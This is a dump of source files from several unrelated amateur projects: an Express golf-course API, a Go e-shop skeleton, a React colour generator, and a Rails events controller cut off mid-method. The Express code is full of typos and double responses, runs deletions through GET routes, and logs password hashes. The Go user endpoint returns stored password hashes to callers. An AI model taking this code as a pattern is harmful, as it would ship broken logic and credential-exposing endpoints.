verifyToken, user.removeAll) router.get('/users/id', verifyToken, user.findOne) router.get('/users/update/id', verifyToken, user.updateOne) router.get('/users/remove/id', verifyToken, user.removeOne) module.exports = router ``` manager.route.js ```const express = require('express') const router = express.Router() const manager = require('../controllers/manager.controller') const verifyToken = require('../helpers/verifyToken') router.post('/managers', verifyToken, manager.create) router.get('/managers', verifyToken, manager.all) router.get('/removeAll', verifyToken, manager.removeAll) router.get('/managers/id', verifyToken, manager.findOne) router.get('/managers/update/id', verifyToken, manager.updateOne) router.get('/managers/remove/id', verifyToken, manager.removeOne) module.exports = router``` golf.route.js ```const express = require('express') const router = express.Router() const golf = require('../controllers/golf.controller') const verifyToken = require('../helpers/verifyToken') router.post('/golfs', verifyToken, golf.create) router.get('/golfs', golf.all) router.get('/removeAll', verifyToken, golf.removeAll) router.get('/golfs/id', golf.findOne) router.get('/golfs/update/id', verifyToken, golf.updateOne) router.get('/golfs/remove/id', verifyToken, golf.removeOne) module.exports = router``` user.controller.js ```const User = require('../models/user.model') const bcrypt = require('bcrypt') exports.create = (req, res) => { let heshedPassword = bcrypt.hasgSync(req.body.password, 8); console.log(heshedPassword) const user = new User({ email: req.body.email, password: heshedPassword, firstName: req.body.firstName, lastName: req.body.lastName, admin: req.body.admin }) user.save().then(data => { res.send(data) }).catch(err => { res.status(500).send({ message: err.message }) console.log(err) }) } exports.all = (req, res) => { User.find().then(users => { res.send(users) }).catch(err => { res.status(500).send({ message: err.message || "Some errors occured when finding users" }) }) } exports.findOne = (req, res) => { User.findById(req.param.id).then(user => { if (!user) { return res.status(404).send({ message: 'User not found' }) } res.send(user) }).catch(err => { res.statut(500).send({message : err.message}) }) } exports.updateOne = (req, res) => { User.findByIdAndUpdate(req.param.id, req.body).then(user => { if (!user) { return res.status(404).send({ message: 'User not found' }) } res.send(user) User.findById(req.param.id).then(newUser => { res.send(newUser) }) }).catch(err => { res.statut(500).send({message : err.message}) }) } exports.removeOne = (req, res) => { User.findByIdAndRemove(req.params.id).then(user => { res.send({message: "User delete with success"}) }).catch(err => { res.statut(500).send({message : err.message}) }) } exports.removeAll = (req, res) => { User.removeAll().then(user => { res.send({message: "Users delete with success"}) }).catch(err => { res.statut(500).send({message : err.message}) }) } ``` manager.controller.js ```const manager = require('../models/manager.model') const bcrypt = require('bcrypt') exports.create = (req, res) => { let heshedPassword = bcrypt.hasgSync(req.body.password, 8); console.log(heshedPassword) const manager = new Manager({ nom: req.body.nom, prenom: req.body.prenom, email: req.body.email, telephone: req.body.telephone }) manager.save().then(data => { res.send(data) }).catch(err => { res.status(500).send({ message: err.message }) console.log(err) }) } exports.all = (req, res) => { manager.find().then(managers => { res.send(managers) }).catch(err => { res.status(500).send({ message: err.message || "Some errors occured when finding managers" }) }) } exports.findOne = (req, res) => { manager.findById(req.param.id).then(manager => { if (!manager) { return res.status(404).send({ message: 'manager not found' }) } res.send(manager) }).catch(err => { res.statut(500).send({message : err.message}) }) } exports.updateOne = (req, res) => { manager.findByIdAndUpdate(req.param.id, req.body).then(manager => { if (!manager) { return res.status(404).send({ message: 'manager not found' }) } res.send(manager) manager.findById(req.param.id).then(newmanager => { res.send(newmanager) }) }).catch(err => { res.statut(500).send({message : err.message}) }) } exports.removeOne = (req, res) => { manager.findByIdAndRemove(req.params.id).then(manager => { res.send({message: "manager delete with success"}) }).catch(err => { res.statut(500).send({message : err.message}) }) } exports.removeAll = (req, res) => { manager.removeAll().then(manager => { res.send({message: "managers delete with success"}) }).catch(err => { res.statut(500).send({message : err.message}) }) } ``` express.service.js ```const express = require('express') const config = require('../config/server.config.js') const bodyParser = require('body-parser') const apiRouter = require('../routes/index.js') const cors = require('cors') const app = express(); app.use(bodyParser.json()) app.use('/api/v1', apiRouter) exports.start = () => { let port = config.port; app.listen(port, (err) => { if (err) { console.log('Error : ${err}') process.exit(-1); } console.log('hey') }) } ``` golf.controller.js ```const Golf = require('../models/golf.model') const bcrypt = require('bcrypt') exports.create = (req, res) => { let heshedPassword = bcrypt.hasgSync(req.body.password, 8); console.log(heshedPassword) const golf = new Golf({ titre: req.body.titre, latitude: req.body.latitude, longitude: req.body.longitude, description: req.body.description, manager: req.body.manager }) golf.save().then(data => { res.send(data) }).catch(err => { res.status(500).send({ message: err.message }) console.log(err) }) } exports.all = (req, res) => { golf.find().then(golfs => { res.send(golfs) }).catch(err => { res.status(500).send({ message: err.message || "Some errors occured when finding golfs" }) }) } exports.findOne = (req, res) => { golf.findById(req.param.id).then(golf => { if (!golf) { return res.status(404).send({ message: 'golf not found' }) } res.send(golf) }).catch(err => { res.statut(500).send({message : err.message}) }) } exports.updateOne = (req, res) => { golf.findByIdAndUpdate(req.param.id, req.body).then(golf => { if (!golf) { return res.status(404).send({ message: 'golf not found' }) } res.send(golf) golf.findById(req.param.id).then(newgolf => { res.send(newgolf) }) }).catch(err => { res.statut(500).send({message : err.message}) }) } exports.removeOne = (req, res) => { golf.findByIdAndRemove(req.params.id).then(golf => { res.send({message: "golf delete with success"}) }).catch(err => { res.statut(500).send({message : err.message}) }) } exports.removeAll = (req, res) => { golf.removeAll().then(golf => { res.send({message: "golfs delete with success"}) }).catch(err => { res.statut(500).send({message : err.message}) }) } ``` server.config.js ```module.exports = { port:"3000", name:"project" }```
yukirinYan/test
yukirinYan/test README.md ```# test ## this a new fdsafdas ## ไธœๆ–น้ฅญๅบ—ๆ‰“็ฎ—ๅ‘็š„ ๅ‘้ซปไธŠ้ฃžๆœบ็š„ๆ’’็ ด่งฃ้“ๅ…ท่ดนๅ…ฑๅ•†ๅคง่ฎก fๅคงไบ‹ๅ‘็”Ÿ```
yukkiball/gf-eshop
yukkiball/gf-eshop user_vo.go ```/** * @Author yuki * @Date 2021/11/6 */ package model type UserVo struct { Id int Name string Gender int Age int Telphone string RegisterMode string ThirdPartyId string EncryptPassword string }``` Order.go ```/** * @Author yuki * @Date 2021/11/6 */ package api import "github.com/gogf/gf/net/ghttp" var Order = new(OrderApi) type OrderApi struct { } func (*OrderApi) GenerateVerifyCode(r *ghttp.Request) { } func (*OrderApi) GenerateToken(r *ghttp.Request) { } func (*OrderApi) CreateOrder(r *ghttp.Request) { } ``` order_info.go ```// ========================================================================== // Code generated by GoFrame CLI tool. DO NOT EDIT. // ========================================================================== package internal import ( "github.com/gogf/gf/database/gdb" "github.com/gogf/gf/frame/g" "github.com/gogf/gf/frame/gmvc" ) // OrderInfoDao is the manager for logic model data accessing and custom defined data operations functions management. type OrderInfoDao struct { gmvc.M // M is the core and embedded struct that inherits all chaining operations from gdb.Model. C orderInfoColumns // C is the short type for Columns, which contains all the column names of Table for convenient usage. DB gdb.DB // DB is the raw underlying database management object. Table string // Table is the underlying table name of the DAO. } // OrderInfoColumns defines and stores column names for table order_info. type orderInfoColumns struct { Id string // UserId string // ItemId string // ItemPrice string // Amount string // OrderPrice string // PromoId string // } // NewOrderInfoDao creates and returns a new DAO object for table data access. func NewOrderInfoDao() *OrderInfoDao { columns := orderInfoColumns{ Id: "id", UserId: "user_id", ItemId: "item_id", ItemPrice: "item_price", Amount: "amount", OrderPrice: "order_price", PromoId: "promo_id", } return &OrderInfoDao{ C: columns, M: g.DB("default").Model("order_info").Safe(), DB: g.DB("default"), Table: "order_info", } } ``` order_info.go ```// ================================================================================= // This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish. // ================================================================================= package dao import ( "gf-eshop/app/dao/internal" ) // orderInfoDao is the manager for logic model data accessing and custom defined data operations functions management. // You can define custom methods on it to extend its functionality as you wish. type orderInfoDao struct { *internal.OrderInfoDao } var ( // OrderInfo is globally public accessible object for table order_info operations. OrderInfo orderInfoDao ) func init() { OrderInfo = orderInfoDao{ internal.NewOrderInfoDao(), } } // Fill with you ideas below. ``` router.go ```package router import ( "gf-eshop/app/api" "github.com/gogf/gf/frame/g" "github.com/gogf/gf/net/ghttp" ) func MiddlewareCORS(r *ghttp.Request) { r.Response.CORSDefault() r.Middleware.Next() } func init() { s := g.Server() s.Use(MiddlewareCORS) s.Group("/item", func(group *ghttp.RouterGroup) { group.POST("/create", api.Item.CreateItem) group.GET("/get", api.Item.GetItem) group.GET("/list", api.Item.ListItem) group.GET("/publishPromo", api.Item.PublishPromo) }) s.Group("/order", func(group *ghttp.RouterGroup) { group.ALL("/generateVerifyCode", api.Order.GenerateVerifyCode) group.POST("/generateToken", api.Order.GenerateToken) group.POST("/create", api.Order.CreateOrder) }) s.Group("/user", func(group *ghttp.RouterGroup) { group.POST("/login", api.User.Login) group.POST("/register", api.User.Register) group.POST("getOtp", api.User.GetOtp) group.GET("/getUser", api.User.GetUser) }) } ``` Item.go ```/** * @Author yuki * @Date 2021/11/6 */ package api import ( "gf-eshop/library/constants" "gf-eshop/library/response" "github.com/gogf/gf/net/ghttp" ) var Item = new(ItemApi) type ItemApi struct{} func (*ItemApi) CreateItem(r *ghttp.Request) { } func (*ItemApi) GetItem(r *ghttp.Request) { response.JsonExit(r, constants.Success, "test") } func (*ItemApi) ListItem(r *ghttp.Request) { } func (*ItemApi) PublishPromo(r *ghttp.Request) { } ``` resp_const.go ```package constants const Success = 1000 const Fail = 2000 const Unknown = 3000 ``` user_info.go ```// ========================================================================== // Code generated by GoFrame CLI tool. DO NOT EDIT. // ========================================================================== package internal import ( "github.com/gogf/gf/database/gdb" "github.com/gogf/gf/frame/g" "github.com/gogf/gf/frame/gmvc" ) // UserInfoDao is the manager for logic model data accessing and custom defined data operations functions management. type UserInfoDao struct { gmvc.M // M is the core and embedded struct that inherits all chaining operations from gdb.Model. C userInfoColumns // C is the short type for Columns, which contains all the column names of Table for convenient usage. DB gdb.DB // DB is the raw underlying database management object. Table string // Table is the underlying table name of the DAO. } // UserInfoColumns defines and stores column names for table user_info. type userInfoColumns struct { Id string // Name string // Gender string // //1ไปฃ่กจ็”ทๆ€ง๏ผŒ2ไปฃ่กจๅฅณๆ€ง Age string // Telphone string // RegisterMode string // //byphone, bywechat, by alipay ThirdPartyId string // } // NewUserInfoDao creates and returns a new DAO object for table data access. func NewUserInfoDao() *UserInfoDao { columns := userInfoColumns{ Id: "id", Name: "name", Gender: "gender", Age: "age", Telphone: "telphone", RegisterMode: "register_mode", ThirdPartyId: "third_party_id", } return &UserInfoDao{ C: columns, M: g.DB("default").Model("user_info").Safe(), DB: g.DB("default"), Table: "user_info", } } ``` User.go ```/** * @Author yuki * @Date 2021/11/6 */ package api import ( "gf-eshop/app/service" "gf-eshop/library/constants" "gf-eshop/library/response" "github.com/gogf/gf/frame/g" "github.com/gogf/gf/net/ghttp" ) var User = new(UserApi) type UserApi struct { } func (*UserApi) Login(r *ghttp.Request) { } func (*UserApi) Register(r *ghttp.Request) { } func (*UserApi) GetOtp(r *ghttp.Request) { } func (*UserApi) GetUser(r *ghttp.Request) { id := r.GetInt("id") userVo, err := service.User.GetUserById(id) //fmt.Println(userVo) if err != nil { g.Log().Errorf("่Žทๅ–็”จๆˆทๅคฑ่ดฅ") } response.JsonExit(r, constants.Success, "่Žทๅ–็”จๆˆทๆˆๅŠŸ", userVo) } ``` model.go ```// ================================================================================= // Code generated by GoFrame CLI tool. DO NOT EDIT. // ================================================================================= package model import ( "github.com/gogf/gf/os/gtime" ) // Item is the golang structure for table item. type Item struct { Id int `orm:"id,primary" json:"id"` // Title string `orm:"title" json:"title"` // Price float64 `orm:"price" json:"price"` // Description string `orm:"description" json:"description"` // Sales int `orm:"sales" json:"sales"` // ImgUrl string `orm:"img_url" json:"imgUrl"` // } // ItemStock is the golang structure for table item_stock. type ItemStock struct { Id int `orm:"id,primary" json:"id"` // Stock int `orm:"stock" json:"stock"` // ItemId int `orm:"item_id" json:"itemId"` // } // OrderInfo is the golang structure for table order_info. type OrderInfo struct { Id string `orm:"id,primary" json:"id"` // UserId int `orm:"user_id" json:"userId"` // ItemId int `orm:"item_id" json:"itemId"` // ItemPrice float64 `orm:"item_price" json:"itemPrice"` // Amount int `orm:"amount" json:"amount"` // OrderPrice float64 `orm:"order_price" json:"orderPrice"` // PromoId int `orm:"promo_id" json:"promoId"` // } // Promo is the golang structure for table promo. type Promo struct { Id int `orm:"id,primary" json:"id"` // PromoName string `orm:"promo_name" json:"promoName"` // StartDate *gtime.Time `orm:"start_date" json:"startDate"` // ItemId int `orm:"item_id" json:"itemId"` // PromoItemPrice float64 `orm:"promo_item_price" json:"promoItemPrice"` // EndDate *gtime.Time `orm:"end_date" json:"endDate"` // } // SequenceInfo is the golang structure for table sequence_info. type SequenceInfo struct { Name string `orm:"name,primary" json:"name"` // CurrentValue int `orm:"current_value" json:"currentValue"` // Step int `orm:"step" json:"step"` // } // UserInfo is the golang structure for table user_info. type UserInfo struct { Id int `orm:"id,primary" json:"id"` // Name string `orm:"name" json:"name"` // Gender int `orm:"gender" json:"gender"` // //1ไปฃ่กจ็”ทๆ€ง๏ผŒ2ไปฃ่กจๅฅณๆ€ง Age int `orm:"age" json:"age"` // Telphone string `orm:"telphone,unique" json:"telphone"` // RegisterMode string `orm:"register_mode" json:"registerMode"` // //byphone, bywechat, by alipay ThirdPartyId string `orm:"third_party_id" json:"thirdPartyId"` // } // UserPassword is the golang structure for table user_password. type UserPassword struct { Id int `orm:"id,primary" json:"id"` // EncrptPassword string `orm:"encrpt_password" json:"encrptPassword"` // UserId int `orm:"user_id" json:"userId"` // } ``` item.go ```// ========================================================================== // Code generated by GoFrame CLI tool. DO NOT EDIT. // ========================================================================== package internal import ( "github.com/gogf/gf/database/gdb" "github.com/gogf/gf/frame/g" "github.com/gogf/gf/frame/gmvc" ) // ItemDao is the manager for logic model data accessing and custom defined data operations functions management. type ItemDao struct { gmvc.M // M is the core and embedded struct that inherits all chaining operations from gdb.Model. C itemColumns // C is the short type for Columns, which contains all the column names of Table for convenient usage. DB gdb.DB // DB is the raw underlying database management object. Table string // Table is the underlying table name of the DAO. } // ItemColumns defines and stores column names for table item. type itemColumns struct { Id string // Title string // Price string // Description string // Sales string // ImgUrl string // } // NewItemDao creates and returns a new DAO object for table data access. func NewItemDao() *ItemDao { columns := itemColumns{ Id: "id", Title: "title", Price: "price", Description: "description", Sales: "sales", ImgUrl: "img_url", } return &ItemDao{ C: columns, M: g.DB("default").Model("item").Safe(), DB: g.DB("default"), Table: "item", } } ``` user_info.go ```// ================================================================================= // This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish. // ================================================================================= package dao import ( "gf-eshop/app/dao/internal" "gf-eshop/app/model" "github.com/gogf/gf/frame/g" ) // userInfoDao is the manager for logic model data accessing and custom defined data operations functions management. // You can define custom methods on it to extend its functionality as you wish. type userInfoDao struct { *internal.UserInfoDao } var ( // UserInfo is globally public accessible object for table user_info operations. UserInfo userInfoDao ) func init() { UserInfo = userInfoDao{ internal.NewUserInfoDao(), } } // Fill with you ideas below. func (*userInfoDao) GetUserById(id int) (userInfo *model.UserInfo, err error){ err = UserInfo.Where("id=?", id).Scan(&userInfo) if err != nil { g.Log().Errorf("ๆ นๆฎID่Žทๅ–็”จๆˆทๅคฑ่ดฅ๏ผŒๅคฑ่ดฅไฟกๆฏ๏ผš%v", err.Error()) } return } ``` user.go ```/** * @Author yuki * @Date 2021/11/6 */ package service import ( "gf-eshop/app/dao" "gf-eshop/app/model" "github.com/jinzhu/copier" ) var User = new(userService) type userService struct { } func (*userService) GetUserById(id int) (userVo *model.UserVo, err error) { userInfo, err := dao.UserInfo.GetUserById(id) userVo = &model.UserVo{} err = copier.Copy(userVo, userInfo) if err != nil { return nil, err } userPassword, err := dao.UserPassword.GetPasswordById(id) userVo.EncryptPassword = userPassword.EncrptPassword return } ``` promo.go ```// ========================================================================== // Code generated by GoFrame CLI tool. DO NOT EDIT. // ========================================================================== package internal import ( "github.com/gogf/gf/database/gdb" "github.com/gogf/gf/frame/g" "github.com/gogf/gf/frame/gmvc" ) // PromoDao is the manager for logic model data accessing and custom defined data operations functions management. type PromoDao struct { gmvc.M // M is the core and embedded struct that inherits all chaining operations from gdb.Model. C promoColumns // C is the short type for Columns, which contains all the column names of Table for convenient usage. DB gdb.DB // DB is the raw underlying database management object. Table string // Table is the underlying table name of the DAO. } // PromoColumns defines and stores column names for table promo. type promoColumns struct { Id string // PromoName string // StartDate string // ItemId string // PromoItemPrice string // EndDate string // } // NewPromoDao creates and returns a new DAO object for table data access. func NewPromoDao() *PromoDao { columns := promoColumns{ Id: "id", PromoName: "promo_name", StartDate: "start_date", ItemId: "item_id", PromoItemPrice: "promo_item_price", EndDate: "end_date", } return &PromoDao{ C: columns, M: g.DB("default").Model("promo").Safe(), DB: g.DB("default"), Table: "promo", } } ``` item_stock.go ```// ================================================================================= // This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish. // ================================================================================= package dao import ( "gf-eshop/app/dao/internal" ) // itemStockDao is the manager for logic model data accessing and custom defined data operations functions management. // You can define custom methods on it to extend its functionality as you wish. type itemStockDao struct { *internal.ItemStockDao } var ( // ItemStock is globally public accessible object for table item_stock operations. ItemStock itemStockDao ) func init() { ItemStock = itemStockDao{ internal.NewItemStockDao(), } } // Fill with you ideas below. ``` user_password.go ```// ================================================================================= // This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish. // ================================================================================= package dao import ( "gf-eshop/app/dao/internal" "gf-eshop/app/model" "github.com/gogf/gf/frame/g" ) // userPasswordDao is the manager for logic model data accessing and custom defined data operations functions management. // You can define custom methods on it to extend its functionality as you wish. type userPasswordDao struct { *internal.UserPasswordDao } var ( // UserPassword is globally public accessible object for table user_password operations. UserPassword userPasswordDao ) func init() { UserPassword = userPasswordDao{ internal.NewUserPasswordDao(), } } // Fill with you ideas below. func (*userPasswordDao) GetPasswordById(id int) (userPassword *model.UserPassword, err error){ err = UserPassword.Where("user_id=?", id).Scan(&userPassword) if err != nil { g.Log().Errorf("ๆ นๆฎID่Žทๅ–็”จๆˆทๅฏ†็ ๏ผŒๅคฑ่ดฅไฟกๆฏ๏ผš%v", err.Error()) } return }```
yukoliesh/random-color-generator
yukoliesh/random-color-generator style.js ```import styled from '@xstyled/styled-components'; import { th } from '@xstyled/system'; import { Flex } from "reflexbox"; import { darken } from 'polished' export const LoadingBackground = styled(Flex)` width: 100%; height: 100vh; `; export const BackgroundWrapper = styled(Flex)` background-color: ${(props) => props.bgColor}; width: 100%; height: 100vh; `; export const Title = styled.h1` font-size: ${th.fontSize(5)}; font-weight: 600; margin: ${th.space(2)} 0; color: ${(props) => props.color}; `; export const Desc = styled.p` font-size: ${th.fontSize(3)}; margin: 0; color: ${(props) => props.color}; `; export const RightAligned = styled(Flex)` text-align: right; `; export const ColorName = styled.h2` font-size: ${th.fontSize(8)}; margin: 0; letter-spacing: ${th.space(1)}; color: ${(props) => props.color}; `; export const ThemedTxtColor = styled.span` color: ${(props) => props.color}; `; export const GeneratorButton = styled.button` padding: ${th.space(2)} ${th.space(5)}; cursor: pointer; font-size: ${th.fontSize(3)}; font-weight: ${th.fontWeight(600)}; width: 40%; max-width: 300px; border-radius: ${th.space(8)}; color: ${(props) => props.color}; background-color: ${(props) => darken(0.1, props.bgColor)}; border: solid 3px ${(props) => props.color}; `; export const ColorNameTitle = styled.span` font-weight: 600; padding-right: ${th.space(2)}; color: ${(props) => props.color}; `; ``` App.js ``` import React from 'react'; import { Flex, Box } from "reflexbox"; import axios from 'axios'; import {BackgroundWrapper, RightAligned, Title, Desc, ColorName, GeneratorButton, ColorNameTitle, ThemedTxtColor} from "./style"; import './App.css'; import { Loader } from "./Loader/Loader"; const App = (props) => { const [data, setData] = React.useState({}); const [query, setQuery] = React.useState("24B1E0"); const [colorHex, setColorHex] = React.useState("#24B1E0"); const [colorName, setColorName] = React.useState("Cerulean"); const [colorRGB, setColorRGB] = React.useState("rgb(36, 177, 224)"); const [isLoading, setIsLoading] = React.useState(false); const [fade, setFade] = React.useState(false); const [txtColor, setTxtColor] = React.useState("#fff"); React.useEffect(() => { let mounted = true; const fetchData = async () => { setIsLoading(true); const result = await axios( `https://www.thecolorapi.com/id?hex=${query}`, ); if(mounted){ setData(result.data); } setIsLoading(false); }; fetchData(); }, [query]); const getRandomHex = () => { const letters = '0123456789ABCDEF'.split(''); let color = ''; for (let i = 0; i < 6; i++) { color += letters[Math.floor(Math.random() * 16)]; } return color; } const onGenerateColor = () => { const name = data.name.value; const hex = data.hex.value; const rgb = data.rgb.value; setQuery(getRandomHex()); setColorName(name); setColorHex(hex); setColorRGB(rgb); setFade(true); const firstChar = query.charAt(0); if(firstChar === "0" || firstChar === "1" || firstChar === "2" || firstChar === "3" || firstChar === "4"){ setTxtColor("#ffffff"); } else { setTxtColor("#191919"); } } return ( <> {isLoading ? ( <BackgroundWrapper justifyContent="center" alignItems="center"> <Box><Loader /></Box> </BackgroundWrapper> ) : ( <BackgroundWrapper justifyContent="flex-start" alignItems="center" width={1} bgColor={colorHex} onAnimationEnd={() => !fade} className={fade ? 'fade' : ''}> <Box width={1 / 2}> <RightAligned flexDirection="column" p={6} justifyContent="flex-end"> <Box width={1}> <ColorName color={txtColor} data-test-id="random-color">{colorHex}</ColorName> </Box> <Box width={1}> <Flex justifyContent="flex-end"> <Box pr={3}> <ColorNameTitle color={txtColor}>RGB</ColorNameTitle> <ThemedTxtColor color={txtColor}>{colorRGB}</ThemedTxtColor> </Box> <Box> <ColorNameTitle color={txtColor}>Name</ColorNameTitle> <ThemedTxtColor color={txtColor}>{colorName}</ThemedTxtColor></Box> </Flex> </Box> </RightAligned> </Box> <Box width={1 / 2} m={16}> <Flex flexDirection="column"> <Box width={1}> <Title color={txtColor}>Color of the Day</Title> </Box> <Box width={1} mb={4}> <Desc color={txtColor}>Click the button and generate the lucky color of your day! <br /> Or... keep clicking for fun!</Desc> </Box> <Box> <GeneratorButton id="colorSubmit" onClick={onGenerateColor} bgColor={colorHex} color={txtColor} data-testid="generator-button">Generate a Color!</GeneratorButton> </Box> </Flex> </Box> </BackgroundWrapper> )} </> ); } export default App; ``` App.test.js ```import { render, screen, waitFor, cleanup, fireEvent, getByTestId, queryByTestId, findByTestId } from '@testing-library/react'; import App from './App'; // What to test // Do you see the title and description? // Do you see the Generator button? // Does the button generate to the next color? describe('App', () => { afterEach(cleanup); it('renders Random Color Generator Title and Desrciption', async () => { render(<App />); await screen.findByText("Color of the Day"); await screen.findByText("Click the button and generate the lucky color of your day!"); expect(screen.getByText("Color of the Day")).toBeInTheDocument(); expect(screen.getByText("Click the button and generate the lucky color of your day!")).toBeInTheDocument(); }); it('renders Random Color Generator button', async () => { render(<App />); await screen.findByTestId("generator-button"); expect(screen.getByTestId("generator-button")).toBeInTheDocument(); }); it('renders Random Color when the generator button is clicked', async () => { const randomColor = "#7AB768"; render(<App />); await screen.findByTestId("generator-button"); fireEvent.click(screen.getByTestId("generator-button")); expect(randomColor).toMatch("#7AB768"); }); }) ```
yukotobaru/review
yukotobaru/review events_controller.rb ```class EventsController < ApplicationController before_action :set_event, only: [:show, :edit, :update, :destroy] before_action :set_current_member before_action :set_event2, only: [:destroy] #after_action :new, only: [:destroy] # GET /events # GET /events.json def index if !params[:commit].present? @Member_id = Member.where(membername: Member.current).pluck(:id)[0].to_i @Applysection_id = Member.where(id: @Member_id).pluck(:Applysection_id)[0].to_i @PjMaster_id = 2 #flash.now[:notice] = "1" end if params[:Member_id].present? @Member_id =params[:Member_id].to_i #flash.now[:notice] = "#{@Member_id}o" end if params[:Applysection_id].present? @Applysection_id = params[:Applysection_id].to_i #flash.now[:notice] = "#{@Applysection_id}p" end if params[:PjMaster_id].present? #&& params[:commit].present? && params[:commit]== "ๆŠฝใ€€ๅ‡บ" @PjMaster_id = params[:PjMaster_id].to_i #flash.now[:notice] = "#{@PjMaster_id}q" end if params[:commit].present? && params[:commit]== "ใ‚ฏใƒชใ‚ข" @Member_id =22 @Applysection_id = 1 @PjMaster_id = 2 #flash.now[:notice] = "51" end if @Applysection_id.to_i !=1 @events =Event.includes(:Member).where(members: { Applysection_id:@Applysection_id }) #flash.now[:notice] = "6" else @events = Event.all #flash.now[:notice] = "7" end if @Member_id.to_i !=22 @events = @events.where(Member_id:@Member_id) #flash.now[:notice] = "8" end if @PjMaster_id == 2 || @PjMaster_id.nil? #flash.now[:notice] = "10" else @events = @events.where(PjMaster_id:@PjMaster_id) #flash.now[:notice] = "#{@PjMaster_id}" end @@Member_id =@Member_id @@Applysection_id = @Applysection_id @@PjMaster_id = @PjMaster_id #SelectBox #@books=Book.select(:publish,:id).distinct #@field=Field.where(book_id:1) #@Members =Member.where(Applysection_id:@Applysection_id ) #flash.now[:notice] = "5" end def result @Applysection=Applysection.where(id:params[:Applysection_id].to_i) @Members=Member.where(Applysection_id:params[:Applysection_id].to_i) end # GET /events/1 # GET /events/1.json def show @Applysection_id = params[:Applysection_id].to_i @Member_id = params[:Member_id].to_i @PjMaster_id = params[:PjMaster_id].to_i @members = Member.all @Applysection = Applysection.all @eventsall = Event.all end # GET /events/new def new if params[:start_time].present? @day = params[:start_time] @y = @day[0..3] @M = @day[5..6] @d = @day[8..9] @h =Time.now.hour @m =Time.now.min @s = Time.now.sec require "date" @day = Time.new(@y.to_i, @M.to_i, @d.to_i, @h, @m, @sec) @eday = Time.new(@y.to_i, @M.to_i, @d.to_i, @h+1, @m, @sec) #flash.now[:notice] = "ใ‚ˆใ†ใ“ใใ€‚ๆœฌๆ—ฅใฏ#{@M}ใงใ™ใ€‚" end #----------------------------------------------------------------------------------------------------> @Applysection_id = params[:Applysection_id].to_i @Member_id = params[:Member_id].to_i @PjMaster_id = params[:PjMaster_id].to_i @members = Member.all @Applysection = Applysection.all @eventsall = Event.all #@@Member_id =@Member_id #@@Applysection_id = @Applysection_id #@@PjMaster_id = @PjMaster_id #----------------------------------------------------------------------------------------------------> if @@Member_id== 22 && @@Applysection_id==1 && @@PjMaster_id != 2 @eventsall = @eventsall.where(PjMaster_id:@@PjMaster_id) #flash.now[:notice] = "ใ‚ˆใ†ใ“" end if @@Member_id== 22 && @@Applysection_id==1 && @@PjMaster_id == 2 @eventsall = @eventsall end if @@Member_id == 22 && @@Applysection_id!=1 && @@PjMaster_id == 2 @eventsall = Event.includes(:Member).where(members: { Applysection_id:@@Applysection_id }) @members = @members.where(Applysection_id:@Applysection_id) @Applysection = @Applysection.where(id:@Applysection_id) end if @@Member_id == 22 && @@Applysection_id!=1 && @@PjMaster_id != 2 @eventsall = Event.includes(:Member).where(members: { Applysection_id:@@Applysection_id }) @eventsall = @eventsall.where(PjMaster_id:@@PjMaster_id) @members = @members.where(Applysection_id:@@Applysection_id) @Applysection = @Applysection.where(id:@@Applysection_id) end if @@Member_id != 22 && @@Applysection_id==1 && @@PjMaster_id == 2 @eventsall = @eventsall.where(Member_id:@@Member_id) @Applysection_id = Member.where(id:@@Member_id).pluck(:Applysection_id)[0] end if @@Member_id != 22 && @@Applysection_id==1 && @@PjMaster_id != 2 @eventsall = @eventsall.where(Member_id:@@Member_id) @eventsall =@eventsall.where(PjMaster_id:@@PjMaster_id) @Applysection_id = Member.where(id:@@Member_id).pluck(:Applysection_id)[0] end if @@Member_id != 22 && @@Applysection_id!=1 && @@PjMaster_id == 2 @eventsall = Event.includes(:Member).where(members: { Applysection_id:@@Applysection_id }) @eventsall = @eventsall.where(Member_id:@@Member_id) @members = @members.where(Applysection_id:@@Applysection_id) @Applysection = @Applysection.where(id:@@Applysection_id) end if @@Member_id != 22 && @@Applysection_id!=1 && @@PjMaster_id != 2 @eventsall = Event.includes(:Member).where(members: {Applysection_id:@@Applysection_id }) @eventsall = @eventsall.where(Member_id:@@Member_id,PjMaster_id:@@PjMaster_id) @members = @members.where(Applysection_id:@@Applysection_id) @Applysection = @Applysection.where(id:@@Applysection_id) end @event = Event.new(:start_time =>@day, :end_time => @eday, :kosu => 1, :Member_id => @Member_id,:PjMaster_id => @PjMaster_id) if params[:start_time].present? @@day = params[:start_date] #flash.now[:notice] = "1#{@@day}" elsif !@@day.nil? #flash.now[:notice] = "2#{@@day}" else @@day = Time.now() #flash.now[:notice] = "3#{@@day}" end end # GET /events/1/edit def edit @eventsall = Event.all @Applysection = Applysection.all #----------------------------------------------------------------------------------------------------> if !params[:Members_id].present? && params[:id].present? @Member_id = Event.where(id: params[:id]).pluck(:Member_id)[0] @Applysection_id = Member.where(id:@Member_id).pluck(:Applysection_id)[0] @PjMaster_id = Event.where(id: params[:id]).pluck(:PjMaster_id)[0] #flash.now[:notice] = "k" else #flash.now[:notice] = "y" @Applysection_id = params[:Applysection_id].to_i @Member_id = params[:Member_id].to_i @PjMaster_id = params[:PjMaster_id].to_i #@@Member_id =@Member_id #@@Applysection_id = @Applysection_id #@@PjMaster_id = @PjMaster_id end #----------------------------------------------------------------------------------------------------> if @@Member_id== 22 && @@Applysection_id==1 && @@PjMaster_id != 2 @eventsall = @eventsall.where(PjMaster_id:@@PjMaster_id) #flash.now[:notice] = "ใ‚ˆใ†ใ“" end if @@Member_id== 22 && @@Applysection_id==1 && @@PjMaster_id == 2 @eventsall = @eventsall end if @@Member_id == 22 && @@Applysection_id!=1 && @@PjMaster_id == 2 @eventsall = Event.includes(:Member).where(members: { Applysection_id:@@Applysection_id }) @members = @members.where(Applysection_id:@Applysection_id) @Applysection = @Applysection.where(id:@Applysection_id) end if @@Member_id == 22 && @@Applysection_id!=1 && @@PjMaster_id != 2 @eventsall = Event.includes(:Member).where(members: { Applysection_id:@@Applysection_id }) @eventsall = @eventsall.where(PjMaster_id:@@PjMaster_id) @members = @members.where(Applysection_id:@@Applysection_id) @Applysection = @Applysection.where(id:@@Applysection_id) end if @@Member_id != 22 && @@Applysection_id==1 && @@PjMaster_id == 2 @eventsall = @eventsall.where(Member_id:@@Member_id) @Applysection_id = Member.where(id:@@Member_id).pluck(:Applysection_id)[0] end if @@Member_id != 22 && @@Applysection_id==1 && @@PjMaster_id != 2 